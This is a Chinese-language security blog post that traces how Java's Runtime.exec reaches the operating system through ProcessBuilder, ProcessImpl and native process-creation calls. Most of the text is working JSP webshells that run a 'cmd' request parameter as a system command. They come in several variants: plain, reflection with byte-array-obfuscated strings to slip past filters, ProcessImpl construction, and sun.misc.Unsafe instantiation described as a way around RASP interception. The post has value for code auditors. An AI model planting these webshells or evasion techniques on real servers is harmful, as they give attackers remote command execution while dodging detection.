关于 Java 命令执行,我们熟知的一般是使用 java.lang.Runtime 类的 exec 方法来执行本地系统命令。但实际上 exec() 并不是执行命令的终点,这点你我都心知肚明,最终一定是通过系统调用来实现,而这里我们要探讨其整个调用链过程,当目标过滤不当时,我们可以利用中间链子的方法以及反射来实现命令执行

Runtime 调用链

我们先用一个简单的一句话木马来测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
if (request.getParameter("cmd") == null) {
return;
}
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

在 Runtime 类的 exec() 方法处下断点

由于 Runtime 类中定义了多个形参不同的 exec 方法,这里我们不考虑环境变量和工作目录,继续跟进,这里会有多个方法重载,我们跟进到最终的 public Process exec(String[] cmdarray, String[] envp, File dir)

这里出现了第一个链子 ProcessBuilder()start() 方法,会根据当前 ProcessBuilder 实例中配置的属性(如命令、环境、工作目录、IO 重定向配置等)来创建一个新的操作系统进程

这些工作做好以后会进入 try 块,调用 ProcessImpl.start() 静态方法

继续跟进调用了 ProcessImpl() 私用方法,实例化 ProcessImpl 对象,这里开始准备调用 CreateProcess API,为其接收的数据做处理

后续跟进 native 方法 create()

到这里 Java 层就结束了,直接调用 Windows 系统函数 CreateProcess 创建进程
至此整个调用链为

1
2
3
4
5
6
7
8
at java.lang.ProcessImpl.create(ProcessImpl.java:-1)
at java.lang.ProcessImpl.<init>(ProcessImpl.java:386)
at java.lang.ProcessImpl.start(ProcessImpl.java:137)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
at java.lang.Runtime.exec(Runtime.java:620)
at java.lang.Runtime.exec(Runtime.java:450)
at java.lang.Runtime.exec(Runtime.java:347)
at org.apache.jsp.index_jsp._jspService(index.jsp:9)

在经典 Java 8 Unix/Linux 系统下 java.lang.ProcessImpl.start 之后应该是调用 UNIXProcess 构造方法,然后通过 native 方法 forkAndExec() 系统调用 fork -> exec


对于 JDK9 之后则是将 forkAndExec() 方法合并到了 ProcessImpl 中

反射 Runtime

现在我们就刚刚的一句话木马做一个反射版本,并对敏感字符串面量做处理,看起来像这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Method" %>

<%
if (request.getParameter("str") == null) {
return;
}

// 定义字符串 java.lang.Runtime
String Rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});

// 反射获取 Class 对象
Class<?> c = Class.forName(Rt);

// 获取 Runtime.getRuntime() 方法
Object grt = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null);

// 获取 Runtime.exec(String cmd) 方法
Method e = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
Object p = e.invoke(grt, request.getParameter("str"));

// 反射获取 Process.getInputStream() 方法
Class<?> processClass = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115}));
Method gi = processClass.getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
InputStream in = (InputStream) gi.invoke(p);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

ProcessBuilder 命令执行

其实只需要传递一个命令参数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
if (request.getParameter("cmd") == null) {
return;
}
InputStream in = new ProcessBuilder(request.getParameter("cmd")).start().getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
} out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

反射获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>

<%
if (request.getParameter("cmd") == null) {
return;
}

String pb = "java.lang.ProcessBuilder";
Class<?> clazz = Class.forName(pb);
Constructor pbConstructor = clazz.getConstructor(String[].class);
Object processBuilder = pbConstructor.newInstance((Object) new String[]{request.getParameter("cmd")});

Method startMethod = clazz.getMethod("start");
Object process = startMethod.invoke(processBuilder);

Class<?> processClass = Class.forName("java.lang.Process");
Method getInputStreamMethod = processClass.getMethod("getInputStream");
InputStream in = (InputStream) getInputStreamMethod.invoke(process);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
} out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

ProcessImpl 命令执行

通过前面的调用链分析,我们依旧可以通过反射 ProcessImpl 来进行命令执行,在 UNIX/Linux 系统下只需要模拟其源码 C 语言风格的数据处理逻辑即可,Windows 系统会更简洁一些,但由于其私有属性,因此仅限于 JDK9 版本以下。简言之,我们现在需要重写 ProcessImpl 的 start() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>

<%!
InputStream start(String[] cmds) throws Exception {
String pI = "java.lang.ProcessImpl";
Class<?> clazz = Class.forName(pI);

// private java.lang.ProcessImpl(java.lang.String[],java.lang.String,java.lang.String,long[],boolean) throws java.io.IOException
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);

FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;

// 源码这里的功能是把结果写到服务器的某个文件里,同时满足可能需要继承 Tomcat 进程的控制台的功能,但是我们不需要,所以直接把三个流都指向 null 就行了
long[] stdHandles = new long[] { -1L, -1L, -1L };

// 注意参数类型
Object process = constructor.newInstance(new Object[] { cmds, null, null, stdHandles, false });

Method m = clazz.getDeclaredMethod("getInputStream");
m.setAccessible(true);
return (InputStream) m.invoke(process);
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String[] cmds = new String[] { cmd };
InputStream in = start(cmds);
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>

Unix/Linux 版本大同小异,对照源码更改即可

create()/forkAndExec() 配合 Unsafe 类实现命令执行

现在考虑如果 RASPUNIXProcess/ProcessImpl 类的构造方法给拦截了,我们可以借助一个叫 sun.misc.Unsafe 的类避免使用其构造方法

sun.misc.Unsafe

sun.misc.UnsafeJDK 9 以下内部提供的一个“后门”类,绕过了 Java 的安全机制,直接操作内存和线程。 Unsafe 的构造方法是私有的,getUnsafe() 方法会检查调用者的类加载器(默认只允许 Bootstrap Classloader 调用),普通代码直接调用会抛出 SecurityException

所以只能通过反射拿到它:

1
2
3
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);

allocateInstance 方法创建类实例

这是一个 native 方法,直接在堆上为指定类分配内存并返回实例,但完全跳过构造方法的执行

1
public native Object allocateInstance(Class<?> cls) throws InstantiationException;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.Unsafe" %>

<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class<?> processClass = Class.forName("java.lang.ProcessImpl");
Object processObject = unsafe.allocateInstance(processClass);

long[] stdHandles = new long[] { -1L, -1L, -1L };

// private static synchronized native long java.lang.ProcessImpl.create(java.lang.String,java.lang.String,java.lang.String,long[],boolean) throws java.io.IOException
Method createMethod = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
createMethod.setAccessible(true);
createMethod.invoke(null, cmd, null, null, stdHandles, false);

if (stdHandles[1] != -1L) {
FileDescriptor fd = (FileDescriptor) unsafe.allocateInstance(FileDescriptor.class);

Field handleField = FileDescriptor.class.getDeclaredField("handle");
handleField.setAccessible(true);
handleField.setLong(fd, stdHandles[1]);

FileInputStream fis = new FileInputStream(fd);
BufferedReader reader = new BufferedReader(new InputStreamReader(fis));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
reader.close();
}
}
%>

这里我们成功执行了命令,但是如何读取输出流呢?放心,在源码中已经给出了逻辑

stdHandles[1] 对应标准输出,并通过反射构建 FileDescriptor 的方法来读取输出,这里为了避免使用构造方法,我们依旧可以使用 unsafe.allocateInstance() 来创建实例


至此对于 Java 本地命令执行的剖析告一段落,在以后的代码审计中也不能只局限于关注 exec 字段了